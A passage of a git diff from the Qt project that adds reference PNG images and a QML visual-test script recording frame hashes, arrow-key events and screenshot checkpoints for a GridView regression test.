b/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview2.3.png new file mode 100644 index 0000000..af9ed05 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview2.3.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview2.4.png b/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview2.4.png new file mode 100644 index 0000000..0b0945d Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview2.4.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview2.5.png b/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview2.5.png new file mode 100644 index 0000000..618ae0c Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview2.5.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview2.6.png b/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview2.6.png new file mode 100644 index 0000000..fc31262 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview2.6.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview2.7.png b/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview2.7.png new file mode 100644 index 0000000..22291ac Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview2.7.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview2.8.png b/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview2.8.png new file mode 100644 index 0000000..3021d58 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview2.8.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview2.9.png b/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview2.9.png new file mode 100644 index 0000000..2f2f5b9 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview2.9.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview2.qml b/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview2.qml new file mode 100644 index 0000000..fb5f1fb --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview2.qml @@ -0,0 +1,2479 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "dba2f6f1c773bd4cd9523108fca861c4" + } + Frame { + msec: 32 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 48 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 64 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 80 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 96 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 112 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 128 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 144 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 160 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 176 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 192 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 208 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 224 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 240 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 256 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 272 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 288 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 304 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 320 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 336 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 352 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 368 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 384 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 400 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 416 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 432 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 448 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 464 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 480 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 496 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 512 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 528 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 544 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 560 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 576 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 592 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 608 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 624 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 640 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 656 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 672 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 688 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 704 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 720 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 736 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 752 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 768 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 784 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 800 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 816 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 832 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 848 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 864 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 880 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 896 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 912 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 928 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 944 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 960 + image: "gridview2.0.png" + } + Frame { + msec: 976 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 992 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 1008 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 1024 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 1040 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 1056 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 1072 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 1088 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 1104 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 1120 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 1136 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 1152 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 1168 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 1184 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 1200 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 1216 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 1232 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 1248 + hash: "33d81c39d16c6a326012499796e50e03" + } + Key { + type: 6 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 1264 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 1280 + hash: "aaec7184a27e6700d96ffff376b8fa53" + } + Frame { + msec: 1296 + hash: "3fa3a890a4ff4a59336a9a2d478d0dde" + } + Frame { + msec: 1312 + hash: "3711c6c2f4f9aba7f2c72bd1f1d85016" + } + Frame { + msec: 1328 + hash: "23da2f9a800b805ce7b77ff08218907d" + } + Frame { + msec: 1344 + hash: "12e4bc953b06cdaad0720f87fb96a37e" + } + Frame { + msec: 1360 + hash: "46e69658bda69bab202a2790a76ba1cd" + } + Key { + type: 7 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 1376 + hash: "44608e67c69b92ccbb45e119e1158fe3" + } + Frame { + msec: 1392 + hash: "97a309b47017d38294644a486a7ce68e" + } + Frame { + msec: 1408 + hash: "41f42b50b22e0496c8aca5019b24b9cb" + } + Frame { + msec: 1424 + hash: "8603ea1cb60c804563f50bc41c0180fe" + } + Frame { + msec: 1440 + hash: "e29777fa70daafe9640c6e9bb7bd63d6" + } + Frame { + msec: 1456 + hash: "2c4c360320f527e99fee799e68c2c0aa" + } + Frame { + msec: 1472 + hash: "0d30916c7e05ff8609af5894f47a89bb" + } + Frame { + msec: 1488 + hash: "0d30916c7e05ff8609af5894f47a89bb" + } + Frame { + msec: 1504 + hash: "0d30916c7e05ff8609af5894f47a89bb" + } + Frame { + msec: 1520 + hash: "0d30916c7e05ff8609af5894f47a89bb" + } + Frame { + msec: 1536 + hash: "0d30916c7e05ff8609af5894f47a89bb" + } + Frame { + msec: 1552 + hash: "0d30916c7e05ff8609af5894f47a89bb" + } + Frame { + msec: 1568 + hash: "0d30916c7e05ff8609af5894f47a89bb" + } + Frame { + msec: 1584 + hash: "0d30916c7e05ff8609af5894f47a89bb" + } + Key { + type: 6 + key: 16777237 + modifiers: 536870912 + text: "1f" + autorep: false + count: 1 + } + Frame { + msec: 1600 + hash: "0d30916c7e05ff8609af5894f47a89bb" + } + Frame { + msec: 1616 + hash: "17027b7c099b11cb5382f30dbbd1e647" + } + Frame { + msec: 1632 + hash: "0e17461a4ca843f9903b7f03e99a0b00" + } + Frame { + msec: 1648 + hash: "a5e61901920553e59892fa405beea15a" + } + Frame { + msec: 1664 + hash: "310eaf71fe8d3807606e58a666c65ccd" + } + Frame { + msec: 1680 + hash: "76f556d05fb77082f33eb1836c10587a" + } + Key { + type: 7 + key: 16777237 + modifiers: 536870912 + text: "1f" + autorep: false + count: 1 + } + Frame { + msec: 1696 + hash: "4e7e4b7790a96396e7ea3533b5c32ed9" + } + Frame { + msec: 1712 + hash: "b065287b6490f58ca6f0e9eb2027cf20" + } + Frame { + msec: 1728 + hash: "907cd9dbdffa1d395caaabd466dc8e86" + } + Frame { + msec: 1744 + hash: "3b144e5b4867328beafa3020ce931480" + } + Frame { + msec: 1760 + hash: "b59b2b60b7d55424b61b1b0ed3e227b8" + } + Frame { + msec: 1776 + hash: "4032e934871b315b68c7c2abea42efee" + } + Frame { + msec: 1792 + hash: "8f80127b2f8d6fc10aa84062544cc381" + } + Frame { + msec: 1808 + hash: "77d5193bc5f53fe5cb98a236c55f841e" + } + Frame { + msec: 1824 + hash: "77d5193bc5f53fe5cb98a236c55f841e" + } + Frame { + msec: 1840 + hash: "77d5193bc5f53fe5cb98a236c55f841e" + } + Frame { + msec: 1856 + hash: "77d5193bc5f53fe5cb98a236c55f841e" + } + Frame { + msec: 1872 + hash: "77d5193bc5f53fe5cb98a236c55f841e" + } + Frame { + msec: 1888 + hash: "77d5193bc5f53fe5cb98a236c55f841e" + } + Frame { + msec: 1904 + hash: "77d5193bc5f53fe5cb98a236c55f841e" + } + Frame { + msec: 1920 + image: "gridview2.1.png" + } + Frame { + msec: 1936 + hash: "77d5193bc5f53fe5cb98a236c55f841e" + } + Frame { + msec: 1952 + hash: "77d5193bc5f53fe5cb98a236c55f841e" + } + Frame { + msec: 1968 + hash: "77d5193bc5f53fe5cb98a236c55f841e" + } + Frame { + msec: 1984 + hash: "77d5193bc5f53fe5cb98a236c55f841e" + } + Frame { + msec: 2000 + hash: "77d5193bc5f53fe5cb98a236c55f841e" + } + Frame { + msec: 2016 + hash: "77d5193bc5f53fe5cb98a236c55f841e" + } + Key { + type: 6 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 2032 + hash: "77d5193bc5f53fe5cb98a236c55f841e" + } + Frame { + msec: 2048 + hash: "a45d2630872a14541f39b862e15ff461" + } + Frame { + msec: 2064 + hash: "714711d7382ef8bba5fb39e2e44bd59c" + } + Frame { + msec: 2080 + hash: "63deed0356e761f94f88be18a7d10053" + } + Frame { + msec: 2096 + hash: "d5b4fc1b568a4a1b63a91b422272c704" + } + Frame { + msec: 2112 + hash: "b6d2c80925cc6b4b7b297bd6ee903c7c" + } + Key { + type: 7 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 2128 + hash: "38117482196360353586cb7ace593894" + } + Frame { + msec: 2144 + hash: "2301f3a148bf4e311cc8ce011ddf65f8" + } + Frame { + msec: 2160 + hash: "2a4982a0961f89a15618f8d4c2081f5a" + } + Frame { + msec: 2176 + hash: "acf8666d6a8a29925f3895aa8e93f713" + } + Frame { + msec: 2192 + hash: "967ed026bc92a6d2747c5227105543a6" + } + Frame { + msec: 2208 + hash: "ff72f3fb95f25990c99c1c14cfef57da" + } + Frame { + msec: 2224 + hash: "0874a4f863596c3860dcf5b1f7f6ceb2" + } + Frame { + msec: 2240 + hash: "520445d8619ad9bdde0db0e61f17567c" + } + Frame { + msec: 2256 + hash: "520445d8619ad9bdde0db0e61f17567c" + } + Frame { + msec: 2272 + hash: "520445d8619ad9bdde0db0e61f17567c" + } + Frame { + msec: 2288 + hash: "520445d8619ad9bdde0db0e61f17567c" + } + Frame { + msec: 2304 + hash: "520445d8619ad9bdde0db0e61f17567c" + } + Frame { + msec: 2320 + hash: "520445d8619ad9bdde0db0e61f17567c" + } + Frame { + msec: 2336 + hash: "520445d8619ad9bdde0db0e61f17567c" + } + Frame { + msec: 2352 + hash: "520445d8619ad9bdde0db0e61f17567c" + } + Frame { + msec: 2368 + hash: "520445d8619ad9bdde0db0e61f17567c" + } + Key { + type: 6 + key: 16777237 + modifiers: 536870912 + text: "1f" + autorep: false + count: 1 + } + Frame { + msec: 2384 + hash: "520445d8619ad9bdde0db0e61f17567c" + } + Frame { + msec: 2400 + hash: "7c4bbf0423d63d7642d218cac56a6215" + } + Frame { + msec: 2416 + hash: "e8c77dbc89721b51549f8d46453fe09d" + } + Frame { + msec: 2432 + hash: "7953503590b639872ac12215695e8cea" + } + Frame { + msec: 2448 + hash: "edaee946a2e25fed6de9acfda0d44a14" + } + Frame { + msec: 2464 + hash: "4996ef39bb0122c10d65f8dd8674b386" + } + Frame { + msec: 2480 + hash: "ede7c6ca9d6deb7819c3715e98755d6e" + } + Frame { + msec: 2496 + hash: "e703fad2fcf9244ec9865200c7d17ce3" + } + Key { + type: 7 + key: 16777237 + modifiers: 536870912 + text: "1f" + autorep: false + count: 1 + } + Frame { + msec: 2512 + hash: "e2bfc16fd893bb3eb0e5df89a0169af3" + } + Frame { + msec: 2528 + hash: "cfd0eb2bc378bd46644f3f7820150685" + } + Frame { + msec: 2544 + hash: "442b05b04762c2bcda291aaa0341398e" + } + Frame { + msec: 2560 + hash: "55842a6503057eea98e2075ef160873e" + } + Frame { + msec: 2576 + hash: "730f80233dacf1119660a76d2a34c5fc" + } + Frame { + msec: 2592 + hash: "d4a48ee79a18cc5c0bc123fbb40c3efd" + } + Frame { + msec: 2608 + hash: "d4a48ee79a18cc5c0bc123fbb40c3efd" + } + Frame { + msec: 2624 + hash: "d4a48ee79a18cc5c0bc123fbb40c3efd" + } + Frame { + msec: 2640 + hash: "d4a48ee79a18cc5c0bc123fbb40c3efd" + } + Frame { + msec: 2656 + hash: "d4a48ee79a18cc5c0bc123fbb40c3efd" + } + Frame { + msec: 2672 + hash: "d4a48ee79a18cc5c0bc123fbb40c3efd" + } + Frame { + msec: 2688 + hash: "d4a48ee79a18cc5c0bc123fbb40c3efd" + } + Frame { + msec: 2704 + hash: "d4a48ee79a18cc5c0bc123fbb40c3efd" + } + Frame { + msec: 2720 + hash: "d4a48ee79a18cc5c0bc123fbb40c3efd" + } + Frame { + msec: 2736 + hash: "d4a48ee79a18cc5c0bc123fbb40c3efd" + } + Key { + type: 6 + key: 16777234 + modifiers: 536870912 + text: "1c" + autorep: false + count: 1 + } + Frame { + msec: 2752 + hash: "d4a48ee79a18cc5c0bc123fbb40c3efd" + } + Frame { + msec: 2768 + hash: "4d04c12bc7fab0b22df3135bf3a87a22" + } + Frame { + msec: 2784 + hash: "fdca5a3f8312452feba7f37b1caa6419" + } + Frame { + msec: 2800 + hash: "97b955e0f8cde30299b238d9ac0eb308" + } + Frame { + msec: 2816 + hash: "19664de1a738458810896959ba4087ad" + } + Frame { + msec: 2832 + hash: "4f9a4b6de6a2969e4639076a8f7c258e" + } + Key { + type: 7 + key: 16777234 + modifiers: 536870912 + text: "1c" + autorep: false + count: 1 + } + Frame { + msec: 2848 + hash: "a10f18aa686be2681a48082ec9f01df7" + } + Frame { + msec: 2864 + hash: "b8f39a6cca377dd573429d879286dd63" + } + Frame { + msec: 2880 + image: "gridview2.2.png" + } + Frame { + msec: 2896 + hash: "3301e52a46efbc49882401c77853ffde" + } + Frame { + msec: 2912 + hash: "0c614597f17496ebc701efe7b0c1fbb6" + } + Frame { + msec: 2928 + hash: "6dda2d6b034c932e279cf216c9b3e6ad" + } + Frame { + msec: 2944 + hash: "7bf08cd5fe3ad3f83bbef28f452e0545" + } + Frame { + msec: 2960 + hash: "1b7ebcf0e3d68e429cb04966120985e5" + } + Frame { + msec: 2976 + hash: "1b7ebcf0e3d68e429cb04966120985e5" + } + Frame { + msec: 2992 + hash: "1b7ebcf0e3d68e429cb04966120985e5" + } + Frame { + msec: 3008 + hash: "1b7ebcf0e3d68e429cb04966120985e5" + } + Frame { + msec: 3024 + hash: "1b7ebcf0e3d68e429cb04966120985e5" + } + Key { + type: 6 + key: 16777237 + modifiers: 536870912 + text: "1f" + autorep: false + count: 1 + } + Frame { + msec: 3040 + hash: "1b7ebcf0e3d68e429cb04966120985e5" + } + Frame { + msec: 3056 + hash: "0fe7d46e7c18ce7bb5a098c5c662d557" + } + Frame { + msec: 3072 + hash: "cd5df541cc1ed545bc27da9e4a937261" + } + Frame { + msec: 3088 + hash: "35762467b83fee1870cff9b0436994d3" + } + Frame { + msec: 3104 + hash: "75a620b42caabf5b1576041dbd4c2808" + } + Frame { + msec: 3120 + hash: "f1b06290a6cbd48b8d3d4ce1e42ed754" + } + Frame { + msec: 3136 + hash: "8e1a50dc082828587a4656117760a852" + } + Frame { + msec: 3152 + hash: "aae8e5f166e736040138d8e222a844dd" + } + Frame { + msec: 3168 + hash: "f69e5cf2bcb26fe49126776695b0b7e0" + } + Key { + type: 7 + key: 16777237 + modifiers: 536870912 + text: "1f" + autorep: false + count: 1 + } + Frame { + msec: 3184 + hash: "7b482fece0255ea07496ef0545b008a2" + } + Frame { + msec: 3200 + hash: "3f96eaebfebe8d4eeb347b201b59ab11" + } + Frame { + msec: 3216 + hash: "9943626d2226c3be711c8213906133f0" + } + Frame { + msec: 3232 + hash: "fd5fd8177b3957c27f1de0d95621351a" + } + Frame { + msec: 3248 + hash: "506283ccfe9670633ce0bf60b437b37b" + } + Frame { + msec: 3264 + hash: "506283ccfe9670633ce0bf60b437b37b" + } + Frame { + msec: 3280 + hash: "506283ccfe9670633ce0bf60b437b37b" + } + Frame { + msec: 3296 + hash: "506283ccfe9670633ce0bf60b437b37b" + } + Frame { + msec: 3312 + hash: "506283ccfe9670633ce0bf60b437b37b" + } + Frame { + msec: 3328 + hash: "506283ccfe9670633ce0bf60b437b37b" + } + Frame { + msec: 3344 + hash: "506283ccfe9670633ce0bf60b437b37b" + } + Frame { + msec: 3360 + hash: "506283ccfe9670633ce0bf60b437b37b" + } + Frame { + msec: 3376 + hash: "506283ccfe9670633ce0bf60b437b37b" + } + Key { + type: 6 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 3392 + hash: "506283ccfe9670633ce0bf60b437b37b" + } + Frame { + msec: 3408 + hash: "fb437f6c23561092a124e498f1604ff2" + } + Frame { + msec: 3424 + hash: "402ba144bbb7260eec4553e68eb35cda" + } + Frame { + msec: 3440 + hash: "76a983de9e85e0c81dfb8908252bd6c9" + } + Frame { + msec: 3456 + hash: "09219f55fae47a0afed887ebf68a36bc" + } + Frame { + msec: 3472 + hash: "344e81cc262093facef2f6a235a734dc" + } + Frame { + msec: 3488 + hash: "8f1c5544eb537555b1c59a377b15e31d" + } + Frame { + msec: 3504 + hash: "606b9bb549fe2e4bbd09d67b7dea0d1a" + } + Key { + type: 7 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 3520 + hash: "63e239c97bd01a61cb31ef2869e7f47c" + } + Frame { + msec: 3536 + hash: "f7c176550c39f8a1ad64590cf33a60a4" + } + Frame { + msec: 3552 + hash: "8581cb14ed81efdf9abb638b5e542cc3" + } + Frame { + msec: 3568 + hash: "7a1e9354ecc49d8bc27d303c7bdc81f9" + } + Frame { + msec: 3584 + hash: "610288b97276ee03702ed8a814ef333d" + } + Frame { + msec: 3600 + hash: "8d36bc2f3ab614d19f3ec8821f3e81ed" + } + Frame { + msec: 3616 + hash: "8d36bc2f3ab614d19f3ec8821f3e81ed" + } + Frame { + msec: 3632 + hash: "8d36bc2f3ab614d19f3ec8821f3e81ed" + } + Frame { + msec: 3648 + hash: "8d36bc2f3ab614d19f3ec8821f3e81ed" + } + Frame { + msec: 3664 + hash: "8d36bc2f3ab614d19f3ec8821f3e81ed" + } + Frame { + msec: 3680 + hash: "8d36bc2f3ab614d19f3ec8821f3e81ed" + } + Frame { + msec: 3696 + hash: "8d36bc2f3ab614d19f3ec8821f3e81ed" + } + Frame { + msec: 3712 + hash: "8d36bc2f3ab614d19f3ec8821f3e81ed" + } + Frame { + msec: 3728 + hash: "8d36bc2f3ab614d19f3ec8821f3e81ed" + } + Frame { + msec: 3744 + hash: "8d36bc2f3ab614d19f3ec8821f3e81ed" + } + Frame { + msec: 3760 + hash: "8d36bc2f3ab614d19f3ec8821f3e81ed" + } + Frame { + msec: 3776 + hash: "8d36bc2f3ab614d19f3ec8821f3e81ed" + } + Key { + type: 6 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 3792 + hash: "8d36bc2f3ab614d19f3ec8821f3e81ed" + } + Frame { + msec: 3808 + hash: "9713c6b9aff051dd0cc45c545d34b688" + } + Frame { + msec: 3824 + hash: "1f8fd4d759e343720a8681b6ad126b72" + } + Frame { + msec: 3840 + image: "gridview2.3.png" + } + Frame { + msec: 3856 + hash: "8550d916d91a40b0c3a886b962e07ffc" + } + Key { + type: 7 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 3872 + hash: "df0c2e474139e79429bfc19c79a65ef8" + } + Frame { + msec: 3888 + hash: "acfb99d081d754276e5ed59bd590aeab" + } + Frame { + msec: 3904 + hash: "2b34cd101b442f7a3de2893fd5514c16" + } + Frame { + msec: 3920 + hash: "df92ced66faa1d59354d8010278438ec" + } + Frame { + msec: 3936 + hash: "dd39a8e6fa3784453461193a6da416cd" + } + Frame { + msec: 3952 + hash: "5670e8f91ea2df451f0974a51cd77d7d" + } + Frame { + msec: 3968 + hash: "74b97a09bfe7400872a2c6214e04a5ac" + } + Frame { + msec: 3984 + hash: "cfd55b963506ab54cf09a7311e84bcc9" + } + Frame { + msec: 4000 + hash: "59657ee9293c03f064d62de826931435" + } + Frame { + msec: 4016 + hash: "31f6a4adf31be5ed0af0ea4097e3acee" + } + Frame { + msec: 4032 + hash: "8f5bfc40c8cdb2f8ce69adb72e7efe76" + } + Frame { + msec: 4048 + hash: "9dc38985113124130e2ca7950e0bd144" + } + Frame { + msec: 4064 + hash: "786e6e8b9e74876a6f393d61a78b8fc7" + } + Frame { + msec: 4080 + hash: "1f4d59a4e4684aab309363a711b30006" + } + Frame { + msec: 4096 + hash: "a11e332de151b43051796e16dbcf75c3" + } + Frame { + msec: 4112 + hash: "1a0e82029ae107cb2a018786752433ff" + } + Frame { + msec: 4128 + hash: "b14c51977c7fbf51f9cf6fec309bff6a" + } + Frame { + msec: 4144 + hash: "2b418f811992399c3f87c268db745632" + } + Frame { + msec: 4160 + hash: "0e9a056207053ca98c4e9f42de244c62" + } + Frame { + msec: 4176 + hash: "1945c3f9e3a1337e7d111e15adea345f" + } + Frame { + msec: 4192 + hash: "d8cf36b6cc15a01ead815d814ae81cb4" + } + Frame { + msec: 4208 + hash: "d8cf36b6cc15a01ead815d814ae81cb4" + } + Frame { + msec: 4224 + hash: "d8cf36b6cc15a01ead815d814ae81cb4" + } + Frame { + msec: 4240 + hash: "d8cf36b6cc15a01ead815d814ae81cb4" + } + Frame { + msec: 4256 + hash: "d8cf36b6cc15a01ead815d814ae81cb4" + } + Frame { + msec: 4272 + hash: "d8cf36b6cc15a01ead815d814ae81cb4" + } + Frame { + msec: 4288 + hash: "d8cf36b6cc15a01ead815d814ae81cb4" + } + Frame { + msec: 4304 + hash: "d8cf36b6cc15a01ead815d814ae81cb4" + } + Frame { + msec: 4320 + hash: "d8cf36b6cc15a01ead815d814ae81cb4" + } + Frame { + msec: 4336 + hash: "d8cf36b6cc15a01ead815d814ae81cb4" + } + Frame { + msec: 4352 + hash: "d8cf36b6cc15a01ead815d814ae81cb4" + } + Frame { + msec: 4368 + hash: "d8cf36b6cc15a01ead815d814ae81cb4" + } + Frame { + msec: 4384 + hash: "d8cf36b6cc15a01ead815d814ae81cb4" + } + Frame { + msec: 4400 + hash: "d8cf36b6cc15a01ead815d814ae81cb4" + } + Frame { + msec: 4416 + hash: "d8cf36b6cc15a01ead815d814ae81cb4" + } + Key { + type: 6 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 4432 + hash: "d8cf36b6cc15a01ead815d814ae81cb4" + } + Frame { + msec: 4448 + hash: "1945c3f9e3a1337e7d111e15adea345f" + } + Frame { + msec: 4464 + hash: "0e9a056207053ca98c4e9f42de244c62" + } + Frame { + msec: 4480 + hash: "2b418f811992399c3f87c268db745632" + } + Frame { + msec: 4496 + hash: "b14c51977c7fbf51f9cf6fec309bff6a" + } + Frame { + msec: 4512 + hash: "1a0e82029ae107cb2a018786752433ff" + } + Frame { + msec: 4528 + hash: "a11e332de151b43051796e16dbcf75c3" + } + Key { + type: 7 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 4544 + hash: "1f4d59a4e4684aab309363a711b30006" + } + Frame { + msec: 4560 + hash: "786e6e8b9e74876a6f393d61a78b8fc7" + } + Frame { + msec: 4576 + hash: "9dc38985113124130e2ca7950e0bd144" + } + Frame { + msec: 4592 + hash: "8f5bfc40c8cdb2f8ce69adb72e7efe76" + } + Frame { + msec: 4608 + hash: "31f6a4adf31be5ed0af0ea4097e3acee" + } + Frame { + msec: 4624 + hash: "59657ee9293c03f064d62de826931435" + } + Frame { + msec: 4640 + hash: "23aa652a0de7fced4a780d72f0940a1b" + } + Frame { + msec: 4656 + hash: "23aa652a0de7fced4a780d72f0940a1b" + } + Frame { + msec: 4672 + hash: "23aa652a0de7fced4a780d72f0940a1b" + } + Frame { + msec: 4688 + hash: "23aa652a0de7fced4a780d72f0940a1b" + } + Frame { + msec: 4704 + hash: "23aa652a0de7fced4a780d72f0940a1b" + } + Frame { + msec: 4720 + hash: "23aa652a0de7fced4a780d72f0940a1b" + } + Frame { + msec: 4736 + hash: "23aa652a0de7fced4a780d72f0940a1b" + } + Frame { + msec: 4752 + hash: "23aa652a0de7fced4a780d72f0940a1b" + } + Frame { + msec: 4768 + hash: "23aa652a0de7fced4a780d72f0940a1b" + } + Frame { + msec: 4784 + hash: "23aa652a0de7fced4a780d72f0940a1b" + } + Frame { + msec: 4800 + image: "gridview2.4.png" + } + Frame { + msec: 4816 + hash: "23aa652a0de7fced4a780d72f0940a1b" + } + Key { + type: 6 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 4832 + hash: "23aa652a0de7fced4a780d72f0940a1b" + } + Frame { + msec: 4848 + hash: "d46eea049d6156a5e85d9c6811d9d367" + } + Frame { + msec: 4864 + hash: "d5796ae85247cb8502f92f0d044e4e1f" + } + Frame { + msec: 4880 + hash: "90987ac49c1a4e6b668436e3ff631e6c" + } + Frame { + msec: 4896 + hash: "c38d69759ad80242b1fe83ba191cd421" + } + Frame { + msec: 4912 + hash: "09d08aed76a04e492d8a39cc4dd2b8f5" + } + Key { + type: 7 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 4928 + hash: "9671d2ff9a2ef46ce3c750a1965404a4" + } + Frame { + msec: 4944 + hash: "f55857816d666ece4a7987a70883b3d1" + } + Frame { + msec: 4960 + hash: "a2d80527b30316d9120b057bbfcfa666" + } + Frame { + msec: 